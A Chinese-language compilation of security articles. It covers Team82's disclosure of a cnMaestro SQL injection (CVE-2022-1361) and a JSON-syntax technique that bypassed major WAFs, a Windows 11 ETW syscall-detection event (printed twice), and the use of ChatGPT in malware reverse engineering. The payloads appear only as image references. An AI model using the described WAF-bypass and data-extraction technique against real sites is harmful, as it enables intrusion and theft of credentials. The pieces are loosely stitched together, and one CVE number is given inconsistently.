本地部署:创建一个由用户托管和管理的专用cnMaestro服务器。

云部署:位于Cambium Networks云基础设施上的cnMaestro服务器,cnMaestro的所有此类实例都以多租户架构托管在Cambium组织下的Amazon AWS云上。 

云部署

托管在亚马逊AWS上的cnMaestro云部署包括一个cnMaestro的主要实例(托管在https://cloud.cambiumnetworks.com上),它处理登录、设备部署,并将大部分平台数据保存在主数据库中。

任何注册到cnMaestro Cloud应用程序的用户都会获得一个个人Amazon AWS实例,其中包含个人URL (Cambium主云的子域)和组织标识符。这有助于在多租户设计中分离不同的用户。为了访问你的cnMaestro实例,将按照以下方案生成一个唯一的URL:https://us-e1-sXX-XXXXXXXXXX.cloud.cambiumnetworks.com

在Team82对Cambium cnMaestro的研究结束时,他们发现了7个不同的漏洞,可以在这里和Team82的披露仪表板上看到。然而,一个特别的漏洞让Team82陷入了一个巨大的兔子洞,导致Team82发现并开发了这项新技术。

很难利用的零日漏洞 

Team82发现的一个特殊的Cambium漏洞被证明更难利用:CVE-2022-1361。该漏洞的核心是一个简单的SQL注入漏洞,但实际的开发过程需要Team82跳出思维定式,创建一个全新的SQL技术。利用这个漏洞,Team82能够窃取用户的会话、SSH密钥、密码哈希、令牌和验证码。

此漏洞的核心问题是,在这种特殊情况下,开发人员没有使用准备好的语句将用户提供的数据附加到查询中。他们没有使用将用户参数附加到SQL查询并清除输入的安全方法,而是直接将其附加到查询中。

3.png

Team82在CVE-2022-1361中滥用的SQL注入汇点

正如我们在上面的汇点中看到的,应用程序接受用户提供的数据(在本例中为a.serialNo或a.mac),并将其附加到SQL查询中。我们使用此漏洞的目的是过滤存储在数据库中的敏感数据。然而,虽然这看起来很简单,但在快速分析了该漏洞后,我们意识到它有三个关键漏洞/限制:

Team82只能检索作为返回行的整数 ;

返回的行按随机顺序返回;

在每个请求中,Team82只能返回有限数量的行。

让我们深入分析这些限制。

限制1:Team82只能检索整数

第一个限制只返回整数,而不返回字符串。由于原始请求返回整数,我们将使用的任何联合语句也必须返回整数。在SQL中,如果执行联合操作,则必须确保两列的类型相同,并且由于一方获取整数,因此我们也必须返回整数。由于我们要过滤的数据很可能是字符串(会话令牌、SSH密钥等),因此我们必须以某种方式获得过滤字符串的能力。

通过将想要过滤的任何字符串转换为整数数组,并将每个字符作为单独的行返回,可以轻松克服这一限制。为此,Team82使用了stringarray和ASCIISQL函数。

4.1.png

4.2.png

一个SQL查询,返回字符串作为其字符的整数列表

限制2:返回的行按随机顺序返回

第二个限制是,当Team82返回多行时,web服务器将以随机顺序返回给Team82。当Team82查看漏洞后执行的代码时,Team82看到对于SQL查询返回的每一行,服务器将执行一些其他异步操作(这可以通过调用async.parale函数看到)。这意味着返回行的原始顺序将不会被保留,相反,该顺序将是异步操作完成的顺序。

这意味着,如果Team82将字符串作为整数数组进行过滤,就会丢失字符顺序,从而使过滤变得无关紧要。

Team82通过添加行索引来克服这一限制,行索引使用row_number SQL函数将字符串中字符的索引转换为返回的整数。因为Team82只返回ASCII字符,所以每个字符的值被限制为128。通过将索引号乘以1000 (i * 1000)并将其附加到结果中,Team82总是可以通过简单的除法和模块操作来确定字符索引。

5.1.png

5.2.png

一个SQL有效负载,返回字符串中每个字母的ascii值,加上字符的索引乘以1000

在检索到过滤的数据之后,Team82可以简单地将每个返回行除以1000,以了解字符索引。Team82还可以通过对返回值使用模块操作来恢复原始字符ASCII值。

限制3:在每个请求中只能返回有限数量的行

最后一个限制是最难克服的:超时问题。对于返回的每一行,服务器都执行了一些其他操作,包括另一个SQL查询和数据操作。当我们试图检索大量行时,请求超时。更糟糕的是,API端点相当慢,因此每次检索一行非常耗时。

Team82的解决方案实际上非常高级,Team82不是为每个字符返回一行,而是从许多行中构造一个整数。这是可能的,因为整数和字符之间的字节大小不同。在PostgreSQL中,一个整数是4字节长,而Team82试图过滤的字符是1字节长(只要是ascii字符)。这意味着通过执行简单的字节操作,Team82可以在每个整数中容纳四个不同的字符。此外,如果Team82在union命令中将整数转换为BIGINT,这在PostgreSQL中是可能做到的,Team82可以将每行扩展为8字节。

6.png

PostgreSQL类型大小

这意味着,如果要为Team82过滤的每个字符附加8个字节,并将其附加到BIGINT中,Team82可以在每个请求中过滤7倍多的字符(1个字节保留给字符索引)。

7.1.png

7.2.png

一个SQL查询,它接受一个字符串,并每隔几个字符创建一个BIGINT

使用这种方法,Team82能够在每个请求中提取多达8倍的数据。这减少了Team82窃取大量数据所需的时间,并使攻击场景变得可信。

构建有效负载 

在Team82绕过所有三个限制之后,Team82就得到了一个大的有效负载,允许提取任何Team82选择的数据:。

8.png

事实上,当Team82使用这个有效负载时,Team82设法窃取了存储在数据库中的敏感信息,从会话cookie到令牌,SSH密钥和哈希密码。

9.png

使用SQLi有效负载提取的数据示例

云端漏洞 

在成功利用了云部署漏洞后,下一步是在Cambium的云端尝试相同的漏洞。很快,Team82就找到了相应的云路由,并成功确认它也容易受到同样的漏洞的攻击。然后Team82尝试了一个安全版本的有效负载,并收到了这样的响应。

10.png

对SQL注入漏洞的响应,可以看到Team82的请求被释放了,返回一个403 Forbidden

接下来,我们注意到了包含awselb/2.0的HTTP服务器,这意味着,应用程序并没有停止Team82的请求,而是AWS WAF释放了Team82的请求,因为它可能将其标记为恶意请求。

对AWS WAF 的研究

为了研究AWS WAF,我们首先创建了自己的设置,在其中控制所有的活动部件:应用程序、客户端和WAF设置和日志。我们在AWS云上创建了一个简单的设备,并设置了AWS WAF来保护应用程序免受恶意请求(Team82设置了WAF)。

11.png

用于配置WAF规则集的界面 

然后,Team82创建了一个带有SQLi漏洞的web应用程序,并将其托管在AWS上。

12.png

Team82创建的易受攻击的Flask web应用程序

最后,Team82开始发送数百个自定义的请求,试图分析WAF是如何将请求标记为恶意的。

13.png

被WAF标记为恶意的请求被阻止,在这个请求中,Team82传递一个通用的SQLi有效负载,它由WAF标记

WAF通常有两种方法将请求标记为恶意:

搜索黑名单单词:WAF可以搜索它并将其识别为SQL语法的单词,如果请求中存在太多匹配项,它会将该请求标记为恶意SQLi尝试。

从请求中解析SQL语法:WAF可以尝试使用请求的不同部分解析有效的SQL语法,如果WAF成功识别SQL语法,它将标记该请求为恶意SQLi尝试。 

虽然大多数WAF除了使用WAF特有的方法外,还会使用这两种方法的组合,但它们都有一个共同的漏洞:它们需要WAF识别SQL语法。这引发了Team82的兴趣:如果Team82能够找到WAF无法识别的SQL语法,该怎么办?

SQL JSON

目前,JSON已经成为数据存储和传输的主要形式之一。为了支持JSON语法,并允许开发人员以类似于在其他应用程序中与数据交互的方式与数据交互,SQL中需要JSON支持。

目前,所有主要的关系数据库引擎都支持原生JSON语法,这包括MSSQL, PostgreSQL, SQLite和MySQL。此外,在最新版本中,所有数据库引擎默认启用JSON语法,这意味着它在今天的大多数数据库设置中很普遍。

开发人员选择在SQL数据库中使用JSON特性,原因有很多,首先是更好的性能和效率。由于许多后端已经使用JSON数据,因此在SQL引擎本身执行所有数据操作和转换可以减少所需的数据库调用数量。此外,如果数据库可以使用JSON数据格式(后端API很可能也会使用JSON数据格式),那么所需的数据预处理和后处理就会更少,从而允许应用程序立即使用它。

通过在SQL中使用JSON,应用程序可以在SQL API中获取数据、从数据库中组合多个数据源、执行数据修改并将其转换为JSON格式。然后,应用程序可以接收json格式的数据并立即使用它,而不需要处理数据。

14.png

在SQL中使用JSON的数据流,允许开发人员在SQL中使用JSON API更好地与数据交互

虽然每个数据库都选择了不同的实现和JSON解析器,但每个数据库都支持不同范围的JSON函数和操作符。此外,它们都支持JSON数据类型和基本的JSON搜索和修改。

15.png

对每个主要数据库的JSON支持级别

然而,尽管所有的数据库引擎都增加了对JSON的支持,但并不是所有的安全工具都增加了对这个“新”特性的支持。安全工具中缺乏支持可能会导致安全工具(在Team82的例子中是WAF)和实际数据库引擎之间的原语解析不匹配,并导致SQL语法错误识别。

The New ‘ or ‘a’=’a

使用JSON语法,可以创建新的SQLi有效负载。由于这些有效负载不为人所知,它们可以绕过许多安全工具。使用来自不同数据库引擎的语法,Team82能够在SQL中编译以下真实语句列表:

16.png

使用JSON语法

从Team82对WAF如何将请求标记为恶意的理解中,可以得出结论,Team82需要找到WAF无法理解的SQL语法。如果Team82可以提供一个SQLi有效负载,WAF不会将其识别为有效SQL,但数据库引擎会解析它,Team82实际上就可以实现绕过。

事实证明,JSON正是WAF解析器和数据库引擎之间的这种不匹配。当Team82传递使用不太流行的JSON语法的有效SQL语句时,WAF实际上并没有将请求标记为恶意请求。

17.png

下面是一个恶意的SQLi有效负载,包含JSON语法。正如Team82所看到的,WAF并没有将该请求标记为恶意请求,也没有释放它

这个简单的JSON运算符,在本例中是@>,它检查右边的JSON是否包含在上面左边的JSON中,它将WAF放入一个循环中,并允许Team82提供恶意的SQLi有效负载,从而允许Team82绕过WAF。通过简单地在请求的开头预先添加简单的JSON语法,Team82就能够在云上使用SQLi漏洞窃取敏感信息!

18.png

利用云上的SQL注入漏洞

常见的WAF绕过 

上述绕过的核心问题是数据库引擎和SQLi检测解决方案之间缺乏一致性,这是因为SQL中的JSON并不是一个流行和广为人知的特性,而且它的语法没有添加到WAF解析器中。

然而,Team82认为这个问题可能不仅仅与这个WAF供应商有关,可能其他供应商也没有添加对JSON语法的支持。所以Team82采用了易受攻击的web应用程序,并在大多数主要WAF供应商上创建了一个设置。几天后,Team82发现JSON语法可以绕过他们检查过的大多数供应商:

Palo-Alto下一代防火墙

F5 Big-IP

Amazon AWS ELB

Cloudflare

Imperva

19.png

Team82使用JSON语法绕过的WAF供应商和产品列表

Team82成功地绕过了这么多大型WAF产品,如果Team82的有效负载有任何变化,这意味着Team82有一个通用的WAF绕过。这意味着即使不知道Team82和目标之间的WAF是什么,Team82仍然可以利用SQL注入漏洞,绕过WAF的保护。

自动化流程

为了研究这种WAF绕过的危害有多大,Team82决定在最大的开源开发工具SQLMap中添加对JSON语法规避技术的支持。

20.png

SQLMap工具允许用户自动化和攻击目标

SQLMap提供了一个自动利用SQL注入的过程,允许用户扫描整个网站以查找漏洞。在SQLMap识别出SQL漏洞后,它提供了识别漏洞类型和识别最适合此特定漏洞的利用技术的能力。

在正确选择利用漏洞的技术后,SQLMap甚至为用户提供了自动转储存储在数据库中的信息、枚举表和数据库、提取密码哈希以及执行一些利用后技术的能力。

虽然SQLMap提供了一些WAF逃避技术,但Team82发现它仍然很容易被大多数现代WAF识别,这意味着用户不能在存在WAF的情况下使用它。

21.png

试图在受WAF保护的应用程序上执行SQLMap。我们可以清楚地看到,尽管应用程序是易受攻击的,但SQLMap并不认为它是可利用的,因为大多数请求都被WAF释放了

Team82的目标是将这项新技术引入SQLMap,并使用JSON语法绕过WAF。为此,Team82注入了由SQLMap生成的有效负载,并添加了随机生成的JSON语法。由于每个数据库引擎都实现了一组不同的JSON函数和操作符,因此Team82为每个数据库引擎实现了一个单独的脚本。通过对SQLMap的添加,Team82能够绕过一个众所周知的WAF,并成功地利用了一个易受攻击的web应用程序。

22.png

使用Team82的脚本运行SQLMap允许SQLMap成功地利用易受攻击的web应用程序并绕过WAF

如果你希望使用此脚本来测试此绕过,只需从Github克隆SQLMap的最新版本。

总结

Team82发现,主要供应商的WAF在其SQL注入检查过程中不支持JSON语法,这使得Team82可以在SQL语句中预先添加JSON语法,从而使WAF无法识别恶意代码。

Team82向五家领先的WAF供应商披露了其发现,目前所有这些供应商都在其产品中添加了JSON语法支持。Team82认为其他供应商的产品可能会受到影响,应该对JSON支持进行审查。

微软最近的精力主要放在了Win11 22H2年度更新上了,正式版本预计要到明年9月底正式发布,现在已经大量推送。

近年来,微软下大力缓解和修复特定的恶意软件或漏洞,增加了大量的缓解措施,如零初始化池分配(zero-initialized pool allocation)、CET、XFG和最新的CastGuard,攻击者利用漏洞变得越来越困难。最重要的是,通过ETW,特别是威胁情报ETW通道,可以提高对恶意软件和利用技术的可见性。

在23H2预览版本中,微软推出了一个新的ETW事件,这次针对的是NT API,这些API可针对各种可疑行为。Windows 事件跟踪 (ETW) 提供了一种用于检测用户模式应用程序和内核模式驱动程序的机制。Log Analytics 代理用于收集写入到管理和操作 ETW 通道的 Windows 事件。 但是,有时需要捕获和分析其他事件,例如写入分析通道的事件。

系统调用使用可见性

随着这一新的变化,微软将重点放在几个系统调用上,这些调用通常不应该被许多应用程序使用,但可能会被漏洞利用,例如KASLR绕过、VM检测或物理内存访问。这个新事件所涉及的许多情况都已被限制为特权进程,有些需要为管理员或系统进程保留特权,有些则限制为低IL或不受信任的调用方。但是,试图调用这些系统调用中的任何一个都可能表明存在可疑活动。

到目前为止,EDR检测这类活动的唯一方法是将用户模式挂钩放置在泄漏内核指针的所有不同NtQuery函数中。但实践证明,这并不理想。一段时间以来,微软一直试图让EDR远离用户模式挂钩,主要是通过添加ETW事件,允许EDR通过非侵入性方式使用相同的信息。

为了跟上这一趋势,Windows 11 23H2向威胁情报频道添加了一个新的ETW事件——THREATINT_PROCESS_SYSCALL_USEGE。生成此ETW事件是为了指示非管理员进程对API+信息类进行了API调用,该API调用可能会及时发现某些异常以及潜在的恶意活动。此事件将为两个API中的信息类生成:

NtQuerySystemInformation;
NtSystemDebugControl;

这些API有许多信息类,其中许多是“无害的”,并且通常被许多应用程序使用。为了避免发送不感兴趣或无用的信息,以下信息类将生成ETW事件:

1.png

包含这些信息类的原因各不相同,有些会泄漏内核地址,有些可用于VM检测,另一些用于硬件持久性,还有一些表示大多数应用程序不应具备的物理内存知识。总的来说,这一新事件包含了应用程序无法正常运行的各种指标。

每一种缓解措施都必须考虑潜在的性能影响,当在频繁调用的代码路径中生成ETW事件时,可能会降低系统的速度。因此,有一些限制适用于此:

1.事件只会为用户模式的非管理员调用者生成。由于Admin->内核不被认为是Windows上的边界,因此许多缓解措施不应用于管理进程,以降低对系统的性能影响。

2.对于每个流程,每个信息类只生成一次事件。这意味着如果NtQuerySystemInformation被一个进程调用10次,并且都使用相同的信息类,那么只会发送一个ETW事件。

3.只有在调用成功时才会发送事件,失败的调用将被忽略,并且不会产生任何事件。

为了支持上述第2个限制并跟踪流程所涉及的信息类,EPROCESS结构中添加了一个新字段:

2.png

当一个流程第一次成功调用一个被监控的信息类时,将设置与该信息类对应的位,即使没有为这些流程发送ETW事件,也会发生在管理流程上。ETW事件仅在未设置位时发送,已确保每个类只发送一次事件。虽然没有API来查询这个EPROCESS字段,但它确实有一个很好的副作用,那就是留下每个进程使用哪些信息类的记录——如果你分析一个系统,可以查看这些记录,但前提是在系统中启用了Syscall Usage事件,否则位不会被设置。

检查数据

目前还没有启用这个事件,也没有人使用它,但我希望看到Windows Defender很快开始使用它,希望其他EDR也能使用。我手动启用了这个事件,以查看这些“可疑的”API是否在常规设备上被使用,使用我的I/O环漏洞作为完整性测试,因为我知道它使用NtQuerySystemInformation泄漏内核指针。以下是正常执行几分钟后的一些结果:

3.png

显然,有一些信息类在设备上使用非常频繁,到目前为止主要的是SystemFirmwareTableInformation。这些常见的类可能会在早期被EDR忽略,因此更容易被滥用。

总结

这是否意味着不再有基于API的KASLR绕过,或者所有现有漏洞都会立即被检测到?当然不会。EDR需要一段时间才能开始注册和使用这些事件,特别是因为23H2将在明年秋天的某个时候正式发布,而大多数安全产品可能还需要一两年的时间才能意识到这一事件的存在。由于此事件被发送到只有PPL才能注册的威胁情报频道,因此许多产品根本无法访问此事件或其他与攻击相关的事件。此事件将使EDR能够获取恶意进程进行的一些额外调用的信息,但这只是攻击的其中一步,如果安全产品过于依赖它,无疑会导致许多误报。无论如何,这一事件只涉及一些已知的指标,而其他许多指标则被忽略。

微软最近的精力主要放在了Win11 22H2年度更新上了,正式版本预计要到明年9月底正式发布,现在已经大量推送。

近年来,微软下大力缓解和修复特定的恶意软件或漏洞,增加了大量的缓解措施,如零初始化池分配(zero-initialized pool allocation)、CET、XFG和最新的CastGuard,攻击者利用漏洞变得越来越困难。最重要的是,通过ETW,特别是威胁情报ETW通道,可以提高对恶意软件和利用技术的可见性。

在23H2预览版本中,微软推出了一个新的ETW事件,这次针对的是NT API,这些API可针对各种可疑行为。Windows 事件跟踪 (ETW) 提供了一种用于检测用户模式应用程序和内核模式驱动程序的机制。Log Analytics 代理用于收集写入到管理和操作 ETW 通道的 Windows 事件。 但是,有时需要捕获和分析其他事件,例如写入分析通道的事件。

系统调用使用可见性

随着这一新的变化,微软将重点放在几个系统调用上,这些调用通常不应该被许多应用程序使用,但可能会被漏洞利用,例如KASLR绕过、VM检测或物理内存访问。这个新事件所涉及的许多情况都已被限制为特权进程,有些需要为管理员或系统进程保留特权,有些则限制为低IL或不受信任的调用方。但是,试图调用这些系统调用中的任何一个都可能表明存在可疑活动。

到目前为止,EDR检测这类活动的唯一方法是将用户模式挂钩放置在泄漏内核指针的所有不同NtQuery函数中。但实践证明,这并不理想。一段时间以来,微软一直试图让EDR远离用户模式挂钩,主要是通过添加ETW事件,允许EDR通过非侵入性方式使用相同的信息。

为了跟上这一趋势,Windows 11 23H2向威胁情报频道添加了一个新的ETW事件——THREATINT_PROCESS_SYSCALL_USEGE。生成此ETW事件是为了指示非管理员进程对API+信息类进行了API调用,该API调用可能会及时发现某些异常以及潜在的恶意活动。此事件将为两个API中的信息类生成:

NtQuerySystemInformation;
NtSystemDebugControl;

这些API有许多信息类,其中许多是“无害的”,并且通常被许多应用程序使用。为了避免发送不感兴趣或无用的信息,以下信息类将生成ETW事件:

1.png

包含这些信息类的原因各不相同,有些会泄漏内核地址,有些可用于VM检测,另一些用于硬件持久性,还有一些表示大多数应用程序不应具备的物理内存知识。总的来说,这一新事件包含了应用程序无法正常运行的各种指标。

每一种缓解措施都必须考虑潜在的性能影响,当在频繁调用的代码路径中生成ETW事件时,可能会降低系统的速度。因此,有一些限制适用于此:

1.事件只会为用户模式的非管理员调用者生成。由于Admin->内核不被认为是Windows上的边界,因此许多缓解措施不应用于管理进程,以降低对系统的性能影响。

2.对于每个流程,每个信息类只生成一次事件。这意味着如果NtQuerySystemInformation被一个进程调用10次,并且都使用相同的信息类,那么只会发送一个ETW事件。

3.只有在调用成功时才会发送事件,失败的调用将被忽略,并且不会产生任何事件。

为了支持上述第2个限制并跟踪流程所涉及的信息类,EPROCESS结构中添加了一个新字段:

2.png

当一个流程第一次成功调用一个被监控的信息类时,将设置与该信息类对应的位,即使没有为这些流程发送ETW事件,也会发生在管理流程上。ETW事件仅在未设置位时发送,已确保每个类只发送一次事件。虽然没有API来查询这个EPROCESS字段,但它确实有一个很好的副作用,那就是留下每个进程使用哪些信息类的记录——如果你分析一个系统,可以查看这些记录,但前提是在系统中启用了Syscall Usage事件,否则位不会被设置。

检查数据

目前还没有启用这个事件,也没有人使用它,但我希望看到Windows Defender很快开始使用它,希望其他EDR也能使用。我手动启用了这个事件,以查看这些“可疑的”API是否在常规设备上被使用,使用我的I/O环漏洞作为完整性测试,因为我知道它使用NtQuerySystemInformation泄漏内核指针。以下是正常执行几分钟后的一些结果:

3.png

显然,有一些信息类在设备上使用非常频繁,到目前为止主要的是SystemFirmwareTableInformation。这些常见的类可能会在早期被EDR忽略,因此更容易被滥用。

总结

这是否意味着不再有基于API的KASLR绕过,或者所有现有漏洞都会立即被检测到?当然不会。EDR需要一段时间才能开始注册和使用这些事件,特别是因为23H2将在明年秋天的某个时候正式发布,而大多数安全产品可能还需要一两年的时间才能意识到这一事件的存在。由于此事件被发送到只有PPL才能注册的威胁情报频道,因此许多产品根本无法访问此事件或其他与攻击相关的事件。此事件将使EDR能够获取恶意进程进行的一些额外调用的信息,但这只是攻击的其中一步,如果安全产品过于依赖它,无疑会导致许多误报。无论如何,这一事件只涉及一些已知的指标,而其他许多指标则被忽略。

ChatGPT是人工智能研究实验室OpenAI新推出的一种人工智能技术驱动的自然语言处理工具,使用了Transformer神经网络架构,也是GPT-3.5架构,这是一种用于处理序列数据的模型,拥有语言理解和文本生成能力,尤其是它会通过连接大量的语料库来训练模型,这些语料库包含了真实世界中的对话,使得ChatGPT具备上知天文下知地理,还能根据聊天的上下文进行互动的能力,做到与真正人类几乎无异的聊天场景进行交流。ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

接下来就让我们看看ChatGPT如何帮助我们解决一些常见的逆向工程和恶意软件分析难题。

1.学习如何更有效地使用逆向工程工具

软件工具通常带有不同程度的内置帮助,它们所缺少的通常由专门的用户论坛和问答网站(如Stack Overflow、Stack Exchange等)来弥补。ChatGPT为快速获得逆向工程工具的帮助增加了另一条途径。

无论你是使用IDA Pro、Ghidra、Radare2、Hopper、Cutter还是其他一些逆向引擎平台,ChatGPT都能提供帮助。虽然所有这些平台都包含自己的内置帮助功能,但如果ChatGPT的培训模型中已经涵盖了这些问题,那么你可能会发现它能够回答与你自己的用例相关的特定问题,这是一种更快完成任务的方式。

1.jpg

使用ChatGPT作为radare2的交互式帮助助手

2.自学汇编语言

ChatGPT擅长传达相关信息。

例如,ChatGPT提供了关于函数调用基础知识和相关堆栈内存管理活动的回答。

2.jpg

我们可以要求ChatGPT在其输出中或多或少详细一些。例如,在这里,我们希望得到一个堆栈帧的视觉表示。

3.jpg

ChatGPT描述了一个堆栈框架

汇编代码是特定于平台和编译器的。如果向ChatGPT发出的程序集相关问题不包括与编译程序集的平台(即指令集)或更高级别语言相关的特性,ChatGPT将提供相关的免责声明信息,以正确定位答案。

ChatGPT可以帮助攻克汇编难题的另一种方式是将用户熟悉的高级代码转换为汇编代码。这通过将熟悉的概念映射到其内部来促进学习。我们观察到,ChatGPT可以很好地处理各种主题,包括在学习汇编时至关重要的重要概念,例如指针和函数指针调用。ChatGPT的响应通常包括带注释的汇编代码,这进一步提高了学习效果。

4.1.png

4.2.jpg

ChatGPT将高级代码转换为程序集

3.了解源代码如何转换为反汇编

作为恶意软件分析师,我们大部分时间都是从反汇编者的角度来看待恶意软件。编程语言的经验和知识在这里至关重要,但ChatGPT可以帮助我们了解已知源代码在反汇编程序中的样子,以及代码更改如何在反汇编中反映出来。新手可以通过编写自己的源代码来推断一些反汇编代码可能会做什么,并查看它是否与他们正在查看的反汇编类似。这可以帮助经验不足的分析人员加深对恶意代码的理解。

5.1.jpg

5.2.gif

4.快速编写PoC源代码

ChatGPT甚至可以帮助我们编写测试理论所需的源代码。例如,我们可以问AI以下问题:

6.png

然而,有时候ChatGPT需要一点引导。在写完我们请求的函数后,它决定将分解任务委托给我们:

7.jpg

首先,我们从前面的答案中复制代码,然后在给出明确的指令后粘贴它。

8.jpg

现在,我们得到了我们正在寻找的分解结果。

9.jpg

5.指令集之间的转换

鉴于汇编代码是特定于平台的,经验更丰富的逆向工程师可以利用ChatGPT查询不同的指令集,而不是他们已经熟悉的指令集。一种方法是指示ChatGPT将编写在一个指令集中的汇编代码转换为另一个指令集。

10.jpg

ChatGPT将x64汇编代码转换为ARM

这为进一步探索感兴趣的指令集提供了基础,例如,通过查询ChatGPT关于翻译后代码中指令的进一步信息。

11.jpg

ChatGPT解释了blx ARM指令

6. 比较语言或特定于平台的约定

有经验的逆向工程师还可以从使用ChatGPT查询编程语言和平台的内存管理技术的差异中受益,例如调用约定。

12.jpg

ChatGPT比较调用约定

在撰写本文时,ChatGPT正在使用2021年之前的训练数据进行训练。因此,如果某些平台或高级语言的特性在某个时间点之后发生了变化,ChatGPT不会提供当前信息。调用约定更改的一个例子是在Golang语言中从基于堆栈的调用约定转换为基于寄存器的调用约定。

有经验的逆向工程师,特别是恶意软件分析师,可以利用ChatGPT来熟悉日益流行的编程语言的高级结构,以及这些结构是如何在汇编中表示的。例如,内存安全的Golang和Rust越来越多地被恶意软件开发人员采用。

13.jpg

7.分析恶意软件样本中的代码段

ChatGPT能够解释和分析与逆向工程相关的代码,包括伪代码和汇编代码。这使得ChatGPT在分析恶意软件可执行文件的代码段(如函数)时非常有用,主要是因为ChatGPT可以提供代码执行活动的摘要。

这可以显著提高恶意软件逆向工程师的效率。Gepetto IDA Pro插件在IDA Pro中集成了ChatGPT,并查询语言模型以提供由Hex-Rays反汇编程序反编译的函数的含义。

解释代码的能力还可以对代码进行比较,使恶意软件分析人员能够了解不同恶意软件样本实现之间的差异。

为了在分析人员通常需要的描述性级别上总结代码的功能,ChatGPT可能缺少所需的关于分析中的可执行文件的更广泛的上下文,而分析人员可能拥有这些上下文。

假设分析师很少或没有向ChatGPT提供上下文,如果所分析的代码与其目的相关,那么该模型将提供最大的即时价值。在实践中,这通常意味着代码不会调用以ChatGPT未知的方式扩展代码功能的用户定义函数,但如果它调用函数,则它们是已知的、公开记录的库函数。由于ChatGPT是基于公开可用的数据进行训练的,因此语言模型此时可以准确地解释在用户提供的代码中使用这些函数的情况。

例如,如果提供给ChatGPT的伪代码引用了公开记录的库函数,则ChatGPT对代码用途的解释将围绕这些函数的功能展开。

14.jpg

ChatGPT通过解释十六进制射线伪代码来讨论函数的用途

为了从ChatGPT中获得更好的代码分析输出,用户仍然需要:

制定实质性的ChatGPT查询,以便提供所需的上下文;

与ChatGPT进行对话,在对话期间提供上下文,并完善ChatGPT的答案;

尝试在回答的末尾使用“重新生成响应”选项,这似乎是对ChatGPT的一种“再努力一点”的指示。

向ChatGPT添加更多上下文可以包括用户定义函数的功能,这些功能是分析师所了解的。上下文信息可以以编程的方式提供,以减少人工分析人员的工作量,例如,通过为此目的开发的反汇编程序插件。

这同样适用于从非技术角度改进ChatGPT的输出。例如,ida_gpt(一个通过查询ChatGPT来协助程序集代码分析的IDA Pro插件)分别为分析和重构程序集代码制定了下面的查询。

下面是ida_gpt ChatGPT查询的几个示例:

15.png

8.识别代码中的恶意活动

恶意软件分析师可以使用ChatGPT来识别某个功能可能实现的潜在恶意活动的指示器。这对于将恶意软件可执行文件中的功能映射到特定的恶意功能非常重要,类似于capa IDA Pro插件的功能。

在这种情况下,我们观察到ChatGPT能够对函数中恶意活动的所有指标的强度进行优先级排序。因此,恶意软件分析师可以确定与ChatGPT的交互范围,以更详细地讨论最强指标。

例如,OpenGPT将vssadmin.exe的执行确定为下面伪代码中恶意活动的最强指标。

16.jpg

16.2.jpg

16.3.jpg

ChatGPT评估恶意活动的指标

9.推测功能目的和目标

除了识别恶意活动指标外,恶意软件分析师还可以进一步与ChatGPT对话,以推测并更好地了解恶意软件如何使用特定平台或软件结构以及达到何种目的。即使在分析师没有提供全面背景的情况下,这也可能是有效的。

例如,下面的勒索软件伪代码代码使用Microsoft Cryptographic API(CAPI),也称为CryptographicAPI:下一代(CNG)加密架构,用于加密数据。

 17.1.jpg

17.2.jpg

17.3.jpg

ChatGPT讨论了恶意软件对CAPI的使用

10. 了解漏洞并利用代码

了解漏洞是如何工作的,恶意软件开发者如何利用它们,以及我们如何识别和检测它们在代码中的使用是一项极具挑战性的任务。ChatGPT在这方面也可以帮助我们。

让我们以CVE-2022-468889为例,看看ChatGPT是否可以帮助我们理解代码的工作原理。

18.jpg

ChatGPT为我们提供了以下解释。

19.jpg

人工智能最初找到的答案还是可以的,但它显然不了解漏洞的更广泛背景。我们可以通过提供更多信息来帮助它。因为ChatGPT是上下文感知的,所以我们不需要重复前面的问题或再次粘贴前面的代码。

20.jpg

让我们看看它现在提供了什么答案。

21.jpg

ChatGPT解释了CVE-2022-46889的漏洞代码

由于ChatGPT的上下文意识,研究人员有可能深入了解这一解释中他们希望了解更多信息的任何特定部分。

正如我们在前面的挑战中看到的,我们还可以要求在反汇编中表示,以查看恶意软件示例中的部分或全部利用代码。

11. 协助自动化逆向工程任务

反向工程师转而使用脚本语言来自动化手动完成的重复或容易出错的任务,例如重命名变量或大规模地对混淆的代码进行解混淆。这可以显著地加快和提高逆向工程任务的效率。ChatGPT能够编写代码,包括IDAPython, IDA Pro反汇编程序的脚本语言。

22.png

ChatGPT编写IDAPython脚本

由于ChatGPT目前使用2021之前的数据进行培训,并且IDAPython正在进行定期更改,我们观察到ChatGPT经常编写过时的IDAPythin脚本。因此,我们评估了ChatGPT生成的IDAPython代码最实际的用例可能是作为模板代码,用户可能需要对其进行轻微或适度的调整,以使代码在当前部署中发挥作用。这通常涉及更改引用的模块和函数名,以适应IDAPython API中的更改。需要少量或适度修改的模板IDAPython代码在需要编写的IDAPython代码中非常实用。

总结

总的来说,ChatGPT可以:

生成恶意代码执行的功能和操作的解释和摘要,这可以帮助逆向工程师和恶意软件分析师了解其目的和行为。

协助分解和反编译代码,将其分解为更小、更易于管理的块进行分析。

帮助逆向工程师和恶意软件分析师了解代码库不同部分之间的关系以及它们如何协同工作,这对识别和理解代码依赖性很有用。

通过生成漏洞及其潜在影响的解释和摘要,协助识别和理解代码漏洞。

帮助逆向工程师和恶意软件分析师了解用于混淆代码的技术,这对于分析和消除恶意代码非常有用。

协助生成代码分析和恶意软件分析结果的文档和报告。

为进一步分析提供指导和建议,帮助逆向工程师和恶意软件分析人员确定工作的优先级,并将重点放在工作的最重要方面。

用于创建逆向工程和恶意软件分析培训的教材和练习,帮助培养这些领域的技能和知识。

通过提供信息和分析结果的共享存储库,帮助促进团队成员之间的协作,这有助于提高效率和有效性。

协助生成用于代码和恶意软件分析的测试用例和场景,帮助确保分析是彻底和全面的。

通过生成代码和恶意软件行为的解释和摘要,为法律和法医调查提供帮助,这对于构建案例和演示恶意活动的影响非常有用。

对于初学者,ChatGPT可以全面介绍掌握逆向工程所需的概念和技能,例如汇编语言的基础知识和了解程序如何构造和运行所需的背景知识。

对于经验丰富的逆向工程师和恶意软件分析师,ChatGPT可以用于自动化和加速逆向工程任务,例如分析代码和了解其功能。ChatGPT对逆向工程师和恶意软件分析师的回答的价值取决于提供给语言模型的上下文信息的数量。这可以通过向ChatGPT发出上下文完整查询或与ChatGPT进行对话以改进答案来实现。

